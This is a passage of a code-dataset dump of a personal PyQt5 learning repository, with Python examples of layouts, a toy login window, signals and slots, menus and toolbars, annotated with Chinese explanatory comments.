self.setLayout(vbox)\r\n # !!\r\n\r\n self.setGeometry(300, 300, 300, 150)\r\n self.setWindowTitle(\"Buttons\")\r\n self.show()\r\n\r\n\r\nclass Example_gridLayout(QWidget):\r\n def __init__(self):\r\n super().__init__()\r\n self.initUI()\r\n\r\n def initUI(self):\r\n grid = QGridLayout()\r\n self.setLayout(grid)\r\n names = ['Cls', 'Bck', '', 'Close',\r\n '7', '8', '9', '/',\r\n '4', '5', '6', '*',\r\n '1', '2', '3', '-',\r\n '0', '.', '=', '+']\r\n positions = [(i, j) for i in range(5) for j in range(4)]\r\n for positions, name in zip(positions, names):\r\n if name == '':\r\n continue\r\n button = QPushButton(name)\r\n grid.addWidget(button, *positions)\r\n self.move(300, 150)\r\n self.setWindowTitle(\"Calculator\")\r\n self.show()\r\n\r\n\r\nclass Example_feedBack(QWidget):\r\n def __init__(self):\r\n super().__init__()\r\n self.initUI()\r\n\r\n def initUI(self):\r\n title = QLabel('Title')\r\n author = QLabel('Name')\r\n review = QLabel('Review')\r\n\r\n titleEdit = QLineEdit()\r\n authorEdit = QLineEdit()\r\n reviewEdit = QTextEdit()\r\n\r\n sendButton = QPushButton(\"Send\")\r\n cancelButton = QPushButton(\"Cancel\")\r\n cancelButton.clicked.connect(self.close)\r\n # 这个使得全部窗口都退出了！！！\r\n\r\n\r\n grid = QGridLayout()\r\n grid.setSpacing(10)\r\n\r\n grid.addWidget(title, 1, 0)\r\n grid.addWidget(titleEdit, 1, 1, 1, 5)\r\n grid.addWidget(author, 2, 0)\r\n grid.addWidget(authorEdit, 2, 1, 1, 5)\r\n grid.addWidget(review, 3, 0)\r\n grid.addWidget(reviewEdit, 3, 1, 5, 5) # 5, 3 表示跨5行3列\r\n grid.addWidget(sendButton, 8, 4)\r\n grid.addWidget(cancelButton, 8, 5)\r\n self.setLayout(grid)\r\n\r\n self.setGeometry(300, 300, 500, 300)\r\n self.setWindowTitle(\"Feedback\")\r\n self.show()\r\n \r\n def closeBtn(self):\r\n reply = QMessageBox.question(self,\r\n \"Cancel\",\r\n \"Are you sure to cancel?\",\r\n QMessageBox.Yes | QMessageBox.No,\r\n QMessageBox.No)\r\n if reply == QMessageBox.Yes:\r\n QCoreApplication.instance().quit()\r\n else:\r\n pass\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n # ex1 = Example_absolute()\r\n ex2 = Example_layout()\r\n ex3 = Example_gridLayout()\r\n ex4 = Example_feedBack()\r\n sys.exit(app.exec())"},{"alpha_fraction":0.5885695219039917,"alphanum_fraction":0.6026069521903992,"avg_line_length":31.617977142333984,"blob_id":"b3048a9bfa2c26ba1e3a624ed812a9a3d064a5d2","content_id":"e06696089ce1a4fcef5ae71b8b054b650534059d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3148,"license_type":"no_license","max_line_length":88,"num_lines":89,"path":"/PyQt5/Home.py","repo_name":"legendaryCJT/Learining","src_encoding":"UTF-8","text":"from PyQt5.QtWidgets import (QApplication, QWidget, QPushButton, QLabel, QMessageBox,\r\n QLineEdit, QGridLayout)\r\nfrom PyQt5.QtGui import QIcon\r\nimport sys\r\n\r\n'''\r\nelf.lineEdit.setEchoMode(QLineEdit.Password) 设置密码隐藏\r\nself.lineEdit.setClearButtonEnabled(True) 设置对输入内容的删除提示\r\nself.lineEdit.setFixedSize() 总的设置控件大小\r\nself.lineEdit.setFixedWidth() 设置宽度\r\nself.lineEdit.setFixedHeight() 设置高度\r\nself.lineEdit.setFrame(False) 设置无边框\r\nself.lineEdit.text() 获得文本输入\r\nself.lineEdit.setText() 设置文本\r\nself.lineEdit.clear() 清除输入\r\nself.lineEdit.hide() 设置隐藏\r\nself.lineEdit.show() 设置展示\r\n调用QLineEdit的setPlaceholderText函数即可设置背景文字\r\n'''\r\n\r\nid = '圣雄肝帝'\r\npsw = '123456'\r\n\r\n\r\nclass LoginUI(QWidget):\r\n def __init__(self):\r\n super(LoginUI, self).__init__()\r\n self.initUI()\r\n\r\n def initUI(self):\r\n idLabel = QLabel(\"ID: \", self)\r\n pswLabel = QLabel(\"Psw: \", self)\r\n\r\n self.idText = QLineEdit(self)\r\n self.idText.setPlaceholderText(\"Enter your ID\")\r\n self.pswText = QLineEdit(self)\r\n self.pswText.setPlaceholderText(\"Enter your Password\")\r\n self.pswText.setEchoMode(QLineEdit.Password)\r\n\r\n loginBtn = QPushButton(QIcon('./icon/user.png'), \"Login\", self)\r\n loginBtn.clicked.connect(self.loginTips)\r\n cancelBtn = QPushButton(\"Cancel\", self)\r\n cancelBtn.clicked.connect(self.closeBtn)\r\n\r\n grid = QGridLayout()\r\n grid.setSpacing(10)\r\n self.setLayout(grid)\r\n\r\n grid.addWidget(idLabel, 1, 0, 1, 1)\r\n grid.addWidget(self.idText, 1, 1, 1, 5)\r\n grid.addWidget(pswLabel, 2, 0, 1, 1)\r\n grid.addWidget(self.pswText, 2, 1, 1, 5)\r\n grid.addWidget(loginBtn, 3, 4)\r\n grid.addWidget(cancelBtn, 3, 5)\r\n\r\n self.setGeometry(300, 300, 500, 300)\r\n self.setWindowTitle(\"Login\")\r\n self.setWindowIcon(QIcon('./timg.jpg'))\r\n self.show()\r\n\r\n def closeEvent(self, event):\r\n reply = QMessageBox.question(self, \"Cancel\", \"Are you sure to cancel?\",\r\n QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\r\n if reply == QMessageBox.Yes:\r\n event.accept()\r\n else:\r\n event.ignore()\r\n\r\n def closeBtn(self):\r\n reply = QMessageBox.question(self, \"Cancel\", \"Are you sure to cancel?\",\r\n QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\r\n if reply == QMessageBox.Yes:\r\n # self.close()\r\n QApplication.quit()\r\n else:\r\n pass\r\n\r\n def loginTips(self):\r\n if self.idText.text() == id and self.pswText.text() == psw:\r\n QMessageBox.information(self, \"Aloha\", \"Login successfully\", QMessageBox.Ok)\r\n else:\r\n QMessageBox.information(self, \"Error\", \"Failed to login\", QMessageBox.Ok)\r\n print(self.idText.text(), self.pswText.text())\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n ex = LoginUI()\r\n sys.exit(app.exec())\r\n"},{"alpha_fraction":0.5866032242774963,"alphanum_fraction":0.6060245633125305,"avg_line_length":26.189943313598633,"blob_id":"9704dbfcb4c92ca95ff534410efce0333f0e9ed4","content_id":"562eda95dd1cac4084f6af281e8b20e186ae6dfd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6472,"license_type":"no_license","max_line_length":77,"num_lines":179,"path":"/PyQt5/Signals_and_Slots.py","repo_name":"legendaryCJT/Learining","src_encoding":"UTF-8","text":"import sys\r\nfrom PyQt5.QtCore import Qt\r\nfrom PyQt5.QtWidgets import (QWidget, QApplication, QVBoxLayout,\r\n QLabel, QGridLayout, QPushButton,\r\n QSlider, QLCDNumber, QStatusBar,\r\n QMainWindow)\r\nfrom PyQt5.QtCore import QObject, pyqtSignal\r\n\r\n# 新的模块： QtCore.Qt、 QtWidgets.QSlider， QtWidgets.QLCDNumber\r\n# QtCore.QObject，QtCore.pyqtSignal\r\n\r\n'''\r\n所有的应用都是事件驱动的。事件大部分都是由用户的行为产生的，\r\n当然事件也有其他的产生方式比如网络的连接，窗口管理器或者定时器等。\r\n调用应用的exec_()方法时，应用会进入主循环，主循环会监听和分发事件。\r\n\r\n在事件模型中，有三个角色：事件源、事件、事件目标\r\n事件源就是发生了状态改变的对象。事件是这个对象状态改变的内容。\r\n事件目标是事件想作用的目标。事件源绑定事件处理函数，然后作用于事件目标身上。\r\n\r\nPyQt5处理事件方面有个signal and slot机制。Signals and slots用于对象间的通讯。\r\n事件触发的时候，发生一个signal，slot是用来被Python调用的（就是相当于事件的绑定函数）\r\nslot只有在事件触发的时候才能调用。\r\n'''\r\n\r\n\r\nclass Example_SAS(QWidget):\r\n def __init__(self):\r\n super().__init__()\r\n self.initUI()\r\n\r\n def initUI(self):\r\n lcd = QLCDNumber(self)\r\n sld = QSlider(Qt.Horizontal, self)\r\n\r\n vbox = QVBoxLayout()\r\n vbox.addWidget(lcd)\r\n vbox.addWidget(sld)\r\n\r\n self.setLayout(vbox)\r\n sld.valueChanged.connect(lcd.display)\r\n self.setGeometry(300, 300, 250, 150)\r\n self.setWindowTitle(\"Signal and slot\")\r\n self.show()\r\n # 显示了QtGui.QLCDNumber和QtGui.QSlider模块，我们能拖动滑块让数字跟着发生改变。\r\n # sender是信号的发送者，receiver是信号的接收者，slot是对这个信号应该做出的反应。\r\n\r\n\r\nclass Example_EventHandler(QWidget):\r\n # 在PyQt5中，事件处理器经常被重写（也就是用自己的覆盖库自带的）。\r\n def __init__(self):\r\n super(Example_EventHandler, self).__init__()\r\n self.initUI()\r\n\r\n def initUI(self):\r\n self.setGeometry(300, 300, 250, 150)\r\n self.setWindowTitle(\"Event handler\")\r\n self.show()\r\n\r\n def keyPressEvent(self, event):\r\n if event.key() == Qt.Key_Escape:\r\n self.close()\r\n\r\n\r\n# 这个例子中，我们替换了事件处理器函数keyPressEvent()。\r\n# 按下ESC键程序就会退出。\r\n\r\n\r\nclass Example_EventObject(QWidget):\r\n # 事件对象是用python来描述一系列的事件自身属性的对象。\r\n def __init__(self):\r\n super(Example_EventObject, self).__init__()\r\n self.text = None\r\n self.label = None\r\n self.initUI()\r\n\r\n def initUI(self):\r\n grid = QGridLayout()\r\n grid.setSpacing(10)\r\n\r\n x = 0\r\n y = 0\r\n\r\n self.text = \"x: {0}, y: {1}\".format(x, y)\r\n self.label = QLabel(self.text, self)\r\n\r\n grid.addWidget(self.label, 0, 0, Qt.AlignTop)\r\n self.setLayout(grid)\r\n\r\n self.setMouseTracking(True)\r\n # 事件追踪默认没有开启，当开启后才会追踪鼠标的点击事件。\r\n self.setGeometry(300, 300, 350, 200)\r\n self.setWindowTitle(\"Event object\")\r\n self.show()\r\n\r\n def mouseMoveEvent(self, event):\r\n # event代表了事件对象。里面有我们触发事件（鼠标移动）的事件对象。\r\n # x()和y()方法得到鼠标的x和y坐标点，然后拼成字符串输出到QLabel组件里。\r\n x = event.x()\r\n y = event.y()\r\n self.text = \"x: {0}, y: {1}\".format(x, y)\r\n self.label.setText(self.text)\r\n # 这个示例中，我们在一个组件里显示鼠标的X和Y坐标。\r\n # Y坐标显示在QLabel组件里\r\n\r\n\r\nclass Example_EventSender(QMainWindow):\r\n # 有时候我们会想知道是哪个组件发出了一个信号，\r\n # PyQt5里的sender()方法能搞定这件事。\r\n def __init__(self):\r\n super().__init__()\r\n # self.status_bar = self.statusBar()\r\n self.status_bar = QStatusBar(self)\r\n self.initUI()\r\n\r\n def initUI(self):\r\n self.status_bar.showMessage(\"Ready\")\r\n btn1 = QPushButton(\"Button 1\", self)\r\n btn1.move(50, 50)\r\n\r\n btn2 = QPushButton(\"Button 2\", self)\r\n btn2.move(150, 50)\r\n\r\n btn1.clicked.connect(self.buttonClicked)\r\n btn2.clicked.connect(self.buttonClicked)\r\n # buttonClicked()方法决定了是哪个按钮能调用sender()方法。\r\n # 两个按钮都和同一个slot绑定。\r\n\r\n self.setWindowTitle(\"Event sender\")\r\n self.setGeometry(300, 300, 300, 200)\r\n self.setStatusBar(self.status_bar)\r\n self.show()\r\n\r\n def buttonClicked(self):\r\n sender = self.sender()\r\n self.status_bar.showMessage(sender.text() + ' was pressed')\r\n # 用调用sender()方法的方式决定了事件源。状态栏显示了被点击的按钮。\r\n\r\n # 似乎只有QMainWindow有状态栏\r\n # 状态栏既可以通过self.StatusBar()生成并展示\r\n # 也可以通过 self.stB = QStatusBar()生成后再由self.setStatusBar(self.stB)显示（否则显示异常）\r\n\r\n\r\nclass Communicate(QObject):\r\n closeApp = pyqtSignal()\r\n\r\n\r\n# 我们创建了一个叫closeApp的信号，这个信号会在鼠标按下的时候触发\r\n# 事件与QMainWindow绑定。\r\n# Communicate类创建了一个pyqtSignal()属性的信号。\r\n\r\n\r\nclass Example_EmitSignal(QMainWindow):\r\n def __init__(self):\r\n super().__init__()\r\n self.c = Communicate()\r\n self.initUI()\r\n\r\n def initUI(self):\r\n # self.c = Communicate()\r\n self.c.closeApp.connect(self.close)\r\n # closeApp信号QMainWindow的close()方法绑定。\r\n self.setGeometry(300, 300, 300, 150)\r\n self.setWindowTitle(\"Emit signal\")\r\n self.show()\r\n\r\n def mousePressEvent(self, event):\r\n self.c.closeApp.emit()\r\n # 点击窗口的时候，发送closeApp信号，程序终止。\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n # ex1 = Example_SAS()\r\n # ex2 = Example_EventHandler()\r\n # ex3 = Example_EventObject()\r\n # ex4 = Example_EventSender()\r\n ex5 = Example_EmitSignal()\r\n sys.exit(app.exec_())\r\n"},{"alpha_fraction":0.7714285850524902,"alphanum_fraction":0.7714285850524902,"avg_line_length":16.5,"blob_id":"4bfa6bc18c44c7ec544be2954fec8720dbb98384","content_id":"3da5066157371ccb65a598744b76eebea06a9dd0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":35,"license_type":"no_license","max_line_length":23,"num_lines":2,"path":"/README.md","repo_name":"legendaryCJT/Learining","src_encoding":"UTF-8","text":"# Learning\nTo mark down my learing\n"},{"alpha_fraction":0.5661850571632385,"alphanum_fraction":0.5720421671867371,"avg_line_length":33.082191467285156,"blob_id":"025b8119afcf4ac191a8d9348de237f30c8f9c10","content_id":"55348fcb260851a550d1a4743efae6b08477d4f3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6428,"license_type":"no_license","max_line_length":89,"num_lines":146,"path":"/PyQt5/Menu_and_ToolBar.py","repo_name":"legendaryCJT/Learining","src_encoding":"UTF-8","text":"import sys\r\nfrom PyQt5.QtWidgets import QMainWindow, QApplication\r\n# QMainWindow提供了主窗口的功能，使用它能创建一些简单的状态栏、工具栏和菜单栏。\r\nfrom PyQt5.QtWidgets import QAction, qApp\r\nfrom PyQt5.QtWidgets import QMenu\r\n# 子菜单中使用QMenu创建一个新菜单。\r\nfrom PyQt5.QtWidgets import QMessageBox\r\nfrom PyQt5.QtWidgets import QTextEdit\r\nfrom PyQt5.QtGui import QIcon\r\nfrom PyQt5.QtCore import QCoreApplication\r\n\r\n\r\nclass Example(QMainWindow):\r\n def __init__(self):\r\n super().__init__()\r\n self.status_bar = self.statusBar()\r\n self.initUI()\r\n\r\n def initUI(self):\r\n # self.status_bar = self.statusBar()\r\n self.status_bar.showMessage(\"App Ready\")\r\n # 调用QtGui.QMainWindow类的statusBar()方法，创建状态栏。\r\n # 第一次调用创建一个状态栏，返回一个状态栏对象。\r\n # showMessage()方法在状态栏上显示一条信息。\r\n\r\n self.setGeometry(300, 300, 500, 300)\r\n self.setWindowIcon(QIcon('./timg.jpg'))\r\n self.setWindowTitle(\"Test\")\r\n\r\n exitAct = QAction(QIcon('./icon/exit.png'), '&Exit', self)\r\n # QAction是菜单栏、工具栏或者快捷键的动作的组合。\r\n # 先创建了一个图标、一个exit的标签和一个快捷键组合，都执行了一个动作。\r\n\r\n exitAct.setShortcut('Ctrl+Q')\r\n exitAct.setStatusTip('Exit application')\r\n # 在已有状态栏基础上，当鼠标悬停在菜单栏的时候，能改变状态栏显示当前状态。\r\n\r\n exitAct.triggered.connect(self.closeBtn)\r\n # exitAct.triggered.connect(QApplication.quit)\r\n # 这个事件跟QApplication的quit()行为相关联，上面两条语句等价？\r\n # 创建了只有一个命令的菜单file-exit，这个命令就是终止应用。\r\n # 同时也创建(不是，而是原先已有)了一个状态栏。还能使用快捷键Ctrl+Q退出应用。\r\n\r\n authorAct = QAction(QIcon('./icon/info.png'), \"Author\", self)\r\n authorAct.triggered.connect(self.authorTips)\r\n\r\n menu_bar = self.menuBar()\r\n fileMenu = menu_bar.addMenu('&File')\r\n moreMenu = menu_bar.addMenu('&More')\r\n # fileMenu.addAction(exitAct)\r\n # 创建了一个菜单栏，并在上面添加了一个file, more菜单.\r\n # file关联了点击退出应用的事件。\r\n newAct = QAction(QIcon('./icon/plus.png'), 'New', self)\r\n\r\n impMenu = QMenu('Import', self)\r\n # 这里通过QMenu创建子菜单。\r\n impAct = QAction(QIcon('./icon/book.png'), 'Import mail', self)\r\n impMenu.addAction(impAct)\r\n # 后面设置impAct的属性即可完成一定功能(点击与事件连接)。\r\n\r\n fileMenu.addAction(newAct) # newAct是QAction类，不能addMenu\r\n fileMenu.addMenu(impMenu)\r\n fileMenu.addAction(exitAct)\r\n # addAction将QAction加入主菜单。\r\n # addMenu将子菜单加入到主菜单里面。\r\n\r\n moreMenu.addAction(authorAct)\r\n\r\n viewMenu = menu_bar.addMenu(\"View\") # &View和View当名字的区别在于首字母有无下划线\r\n viewStatAct = QAction('View statusBar', self, checkable=True)\r\n viewStatAct.setStatusTip('View statusBar')\r\n viewStatAct.setChecked(True) # 默认值为勾选\r\n viewStatAct.triggered.connect(self.toggleMenu)\r\n viewMenu.addAction(viewStatAct)\r\n # 添加勾选菜单，并对其属性进行设置。\r\n\r\n textEdit = QTextEdit()\r\n self.setCentralWidget(textEdit)\r\n # 创建一个文本编辑区，并且放置于QMainWindow中间区域\r\n\r\n tool_bar = self.addToolBar(\"Exit\")\r\n tool_bar.addAction(exitAct)\r\n\r\n self.show()\r\n\r\n def authorTips(self):\r\n QMessageBox.information(self, \"AuthorInfo\", \"Author: 圣雄肝帝·猛男·CJT\\n\"\r\n \"Version: 0.0.1_beta\\n\"\r\n \"Date: 2019/12/08\\n\", QMessageBox.Ok)\r\n\r\n def toggleMenu(self, state):\r\n if state:\r\n self.status_bar.show()\r\n else:\r\n self.status_bar.hide()\r\n\r\n def contextMenuEvent(self, event):\r\n # 使用contextMenuEvent()方法实现这个菜单。\r\n\r\n cMenu = QMenu(self)\r\n # 右键菜单也叫弹出框（！？），是在某些场合下显示的一组命令。\r\n # 例如，Opera浏览器里，网页上的右键菜单里会有刷新，返回或者查看页面源代码。\r\n # 如果在工具栏上右键，会得到一个不同的用来管理工具栏的菜单。\r\n\r\n newAct = cMenu.addAction('New')\r\n openAct = cMenu.addAction('Open')\r\n quitAct = cMenu.addAction('Quit')\r\n\r\n action = cMenu.exec(self.mapToGlobal(event.pos()))\r\n # 使用exec_()方法显示菜单。从鼠标右键事件对象中获得当前坐标。\r\n # mapToGlobal()方法把当前组件的相对坐标转换为窗口（window）的绝对坐标\r\n # 如果右键菜单里触发了事件，也就触发了退出事件，执行关闭菜单行为。\r\n # 与global对应的有mapToParent\r\n if action == quitAct:\r\n qApp.quit()\r\n # self.closeEvent()\r\n\r\n # 个人体会：Menu 和 toolBar 的关系\r\n # 可以类比为浏览器中的书签收藏夹(进入里面细选)和书签栏(直接展示具体每一项)\r\n def closeEvent(self, event):\r\n reply = QMessageBox.question(self,\r\n \"Cancel\",\r\n \"Are you sure to cancel?\",\r\n QMessageBox.Yes | QMessageBox.No,\r\n QMessageBox.No)\r\n if reply == QMessageBox.Yes:\r\n event.accept()\r\n else:\r\n event.ignore()\r\n\r\n def closeBtn(self):\r\n reply = QMessageBox.question(self,\r\n \"Cancel\",\r\n \"Are you sure to cancel?\",\r\n QMessageBox.Yes | QMessageBox.No,\r\n QMessageBox.No)\r\n if reply == QMessageBox.Yes:\r\n QCoreApplication.instance().quit()\r\n else:\r\n pass\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n ex = Example()\r\n sys.exit(app.exec())\r\n"},{"alpha_fraction":0.6272482872009277,"alphanum_fraction":0.6340706944465637,"avg_line_length":34.64393997192383,"blob_id":"732e7eea812dd15c712a6082036f7124f0330bdf","content_id":"3dc5dae3d54c1bb5f2c58803b83670f8b4f6253a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":7519,"license_type":"no_license","max_line_length":86,"num_lines":132,"path":"/PyQt5/Aloha.py","repo_name":"legendaryCJT/Learining","src_encoding":"UTF-8","text":"import sys\r\nfrom PyQt5.QtWidgets import QApplication\r\n# QCoreApplication包含了事件的主循环，它能添加和删除所有的事件\r\nfrom PyQt5.QtWidgets import QWidget, QToolTip\r\n# QWidget控件是一个用户界面的基本控件，提供了基本的应用构造器。\r\nfrom PyQt5.QtWidgets import QPushButton, QMessageBox\r\n#\r\nfrom PyQt5.QtWidgets import QDesktopWidget\r\n# QtGui.QDesktopWidget提供了用户的桌面信息，包括屏幕的大小\r\n# 以上引入了PyQt5.QtWidgets模块的不少组件，这个模块包含了基本的组件。\r\n\r\nfrom PyQt5.QtGui import QIcon, QFont\r\n# 有关图标和字体的设置\r\nfrom PyQt5.QtCore import QCoreApplication\r\n\r\n# 如何用程序关闭一个窗口。这里我们将接触到一点single和slots的知识。\r\n\r\n\r\nclass Example(QWidget):\r\n # QWidget是UI的基本控件，提供基本的应用构造器。\r\n # 默认情况下构造器没有父级，没有父级的构造器被称为“窗口”（window）。\r\n # 这里意味着我们调用两个构造器，一是类本身，二是这个类继承的。\r\n\r\n def __init__(self):\r\n # super()构造器方法返回父级的对象。__init__()方法是构造器的一个方法。\r\n super().__init__()\r\n self.initUI()\r\n\r\n def initUI(self):\r\n # 创建了有图标的窗口，并且有提示框和按钮，再实现按钮的功能(Quit)。\r\n\r\n QToolTip.setFont(QFont('SansSerif', 10)) # 设置提示框字体。\r\n\r\n self.setToolTip(\"This is a <b>Qwidget</b> widget\")\r\n # 调用这个方法创建提示框可以使用富文本格式的内容。\r\n\r\n btn = QPushButton('Button', self)\r\n # QPushButton(string text, QWidget parent = None)\r\n # text参数是想要显示的按钮名称，parent参数是放在按钮上的组件，在本例中，这个参数是QWidget。\r\n # 应用中的组件都是一层一层（继承而来的？）的。\r\n # 在这个层里，大部分的组件都有自己的父级，没有父级的组件，是顶级的窗口。\r\n\r\n btn.setToolTip(\"This is a <b>QPushButton</b> widget\")\r\n # 添加了一个按钮，并为其添加了一个提示框。\r\n btn.resize(btn.sizeHint())\r\n # 调整按钮大小，sizeHint()方法提供默认大小\r\n btn.move(50, 50)\r\n btn.clicked.connect(self.btnTips)\r\n # 自己写的btnTips弹窗信息框， 连接信号和时间时的方法应该传递地址(即不带\"()\")\r\n\r\n QuitBtn = QPushButton('Quit', self)\r\n # QuitBtn.clicked.connect(QCoreApplication.instance().quit)\r\n # 点击事件和能终止进程并退出应用的quit函数绑定在了一起。\r\n # 在发送者和接受者之间建立了通讯，发送者就是按钮，接受者就是应用对象。\r\n QuitBtn.clicked.connect(self.closeBtn)\r\n QuitBtn.resize(QuitBtn.sizeHint())\r\n QuitBtn.move(50, 100)\r\n # 事件传递系统在PyQt5内建的single和slot机制里面。点击按钮后，信号会被捕捉并给出既定的反应。\r\n # QCoreApplication包含了事件的主循环，它能添加和删除所有的事件。\r\n # instance()创建了一个它的实例。QCoreApplication是在QApplication里创建的。\r\n\r\n self.setGeometry(300, 300, 500, 300) # 前两是位置，后两是大小\r\n # move(移动放置的位置)和resize(改变控件大小)方法的组合\r\n self.setWindowTitle(\"Example\") # SetWindowTitle\r\n self.setWindowIcon(QIcon('./timg.jpg')) # SetWindowIcon\r\n self.center() # 自己写的使窗口居中的类函数\r\n self.show() # 为了让控件显示的方法，在内存创建而后显示器上有所显示。\r\n\r\n def closeEvent(self, event):\r\n # 如果关闭QWidget，就会产生一个QCloseEvent，\r\n # 并且把它传入到closeEvent函数的event参数中。\r\n # 改变控件的默认行为，就是替换掉默认的事件处理。\r\n reply = QMessageBox.question(self, 'Message', 'Are you sure to quit?',\r\n QMessageBox.Yes | QMessageBox.No,\r\n QMessageBox.No)\r\n # 创建了一个消息框，上面有俩按钮：Yes和No.\r\n # 第一个参数是父级窗口，此处self为主窗口QWidget生成的Example\r\n # 第二个字符串显示在消息框的标题栏，\r\n # 第三个参数(字符串)显示在对话框，第四个参数是消息框的俩按钮，\r\n # 最后一个参数是默认按钮，这个按钮是默认选中的。返回值在变量reply里。\r\n if reply == QMessageBox.Yes:\r\n event.accept()\r\n # QCoreApplication.instance().quit()\r\n else: # == QMessageBox.No\r\n event.ignore()\r\n # 判断reply值，如果点击的是Yes按钮，就关闭组件和应用，否则忽略关闭事件。\r\n\r\n # 该事件处理系统建立在 PyQt5 的信号/槽的机制上。如果我们点击该按钮，按钮将会发出信号，\r\n # 单击信号连接到 quit() 方法使应用程序终止。槽可以是 Qt 的槽也可以是 Python 的任何调用。\r\n # QCoreApplication 包含主事件循环；它处理和调度所有事件。instance()方法为我们提供了其当前实例。\r\n # 注意，区分 QCoreApplication 与 QApplication。\r\n # 发送器和接收器：在通信的两个对象之间进行。发送器是按钮，接收器是应用对象\r\n # !!整理概念\r\n # 按钮(btn)是发送器。点击(clicked)按钮后，发出点击信号。点击信号连接(connect)到槽(可以是 Qt 的槽也可以是 Python 的任何调用)。\r\n # 在我们的例子中是Qt的槽，QCoreApplication处理和调度所有Qt事件，调度出instance（这个实例（接收器））的 quit 事件。\r\n\r\n def closeBtn(self):\r\n reply = QMessageBox.question(self, \"Quit\", \"Are you sure to quit?\",\r\n QMessageBox.Yes | QMessageBox.No,\r\n QMessageBox.No)\r\n if reply == QMessageBox.Yes:\r\n QCoreApplication.instance().quit()\r\n else:\r\n pass\r\n\r\n def btnTips(self):\r\n QMessageBox.information(self, \"Btn\", \"Clicked Btn\")\r\n\r\n def center(self):\r\n qr = self.frameGeometry()\r\n # 获得主窗口所在的框架。\r\n cp = QDesktopWidget().availableGeometry().center()\r\n # QtGui.QDesktopWidget提供了用户的桌面信息，包括屏幕的大小。\r\n # 获取显示器的分辨率，然后得到屏幕中间点的位置\r\n qr.moveCenter(cp)\r\n # 把主窗口框架的中心点放置到屏幕的中心位置。\r\n self.move(qr.topLeft())\r\n # 把主窗口左上角移动到其框架的左上角，这样就把窗口居中了。\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n # 每个PyQt5应用都必须创建一个应用对象。sys.argv是一组命令行参数的列表。\r\n # Python可以在shell里运行，这个参数提供对脚本控制的功能。\r\n ex = Example()\r\n # 实例化\r\n sys.exit(app.exec())\r\n # 进入应用主循环，事件处理器开始工作。\r\n # 从窗口接收事件并把事件派送到应用控件。\r\n # 当调用sys.exit方法或直接销毁主控件时，主循环结束。\r\n # exit方法确保主循环安全退出。外部环境能通知主控件如何结束\r\n # 有exec()与exec_() 是因为exec在py中是关键字，方便区分。\r\n"}],"string":"[\n {\n \"alpha_fraction\": 0.4947395324707031,\n \"alphanum_fraction\": 0.5232229828834534,\n \"avg_line_length\": 26.881481170654297,\n \"blob_id\": \"b457a39008677732f8929a7ea4924c14688495c5\",\n \"content_id\": \"54c5a2af3c81218020abb75e7ad3f35a34fbdd4e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3967,\n \"license_type\": \"no_license\",\n \"max_line_length\": 76,\n \"num_lines\": 135,\n \"path\": \"/PyQt5/Layout.py\",\n \"repo_name\": \"legendaryCJT/Learining\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\r\\nfrom PyQt5.QtWidgets import QWidget, QLabel, QApplication\\r\\nfrom PyQt5.QtWidgets import QPushButton, QHBoxLayout, QVBoxLayout\\r\\nfrom PyQt5.QtWidgets import QGridLayout, QMessageBox\\r\\nfrom PyQt5.QtWidgets import QLineEdit, QTextEdit # QLineEdit无法跨行，但可以在跨行居中显示\\r\\nfrom PyQt5.QtCore import QCoreApplication\\r\\n\\r\\n\\r\\nclass Example_absolute(QWidget):\\r\\n def __init__(self):\\r\\n super().__init__()\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n lbl1 = QLabel(\\\"Zetcode\\\", self)\\r\\n lbl1.move(15, 10)\\r\\n\\r\\n lbl2 = QLabel(\\\"Tutorials\\\", self)\\r\\n lbl2.move(35, 40)\\r\\n\\r\\n lbl3 = QLabel(\\\"for programmers\\\", self)\\r\\n lbl3.move(55, 70)\\r\\n\\r\\n self.setGeometry(300, 300, 250, 150)\\r\\n self.setWindowTitle(\\\"Absolute\\\")\\r\\n self.show()\\r\\n\\r\\n\\r\\nclass Example_layout(QWidget):\\r\\n def __init__(self):\\r\\n super().__init__()\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n okButton = QPushButton(\\\"OK\\\")\\r\\n cancelButton = QPushButton(\\\"Cancel\\\")\\r\\n cancelButton.clicked.connect(self.close)\\r\\n\\r\\n hbox = QHBoxLayout()\\r\\n hbox.addStretch(1)\\r\\n hbox.addWidget(okButton)\\r\\n hbox.addWidget(cancelButton)\\r\\n\\r\\n vbox = QVBoxLayout()\\r\\n vbox.addStretch(1)\\r\\n vbox.addLayout(hbox)\\r\\n\\r\\n self.setLayout(vbox)\\r\\n # !!\\r\\n\\r\\n self.setGeometry(300, 300, 300, 150)\\r\\n self.setWindowTitle(\\\"Buttons\\\")\\r\\n self.show()\\r\\n\\r\\n\\r\\nclass Example_gridLayout(QWidget):\\r\\n def __init__(self):\\r\\n super().__init__()\\r\\n self.initUI()\\r\\n\\r\\n def initUI(self):\\r\\n grid = QGridLayout()\\r\\n self.setLayout(grid)\\r\\n names = ['Cls', 'Bck', '', 'Close',\\r\\n '7', '8', '9', '/',\\r\\n '4', '5', '6', '*',\\r\\n '1', '2', '3', '-',\\r\\n '0', '.', '=', '+']\\r\\n positions = [(i, j) for i in range(5) for j in range(4)]\\r\\n for positions, name in zip(positions, names):\\r\\n if name == '':\\r\\n continue\\r\\n button = QPushButton(name)\\r\\n grid.addWidget(button, *positions)\\r\\n self.move(300, 150)\\r\\n self.setWindowTitle(\\\"Calculator\\\")\\r\\n self.show()\\r\\n\\r\\n\\r\\nclass Example_feedBack(QWidget):\\r\\n def __init__(self):\\r\\n 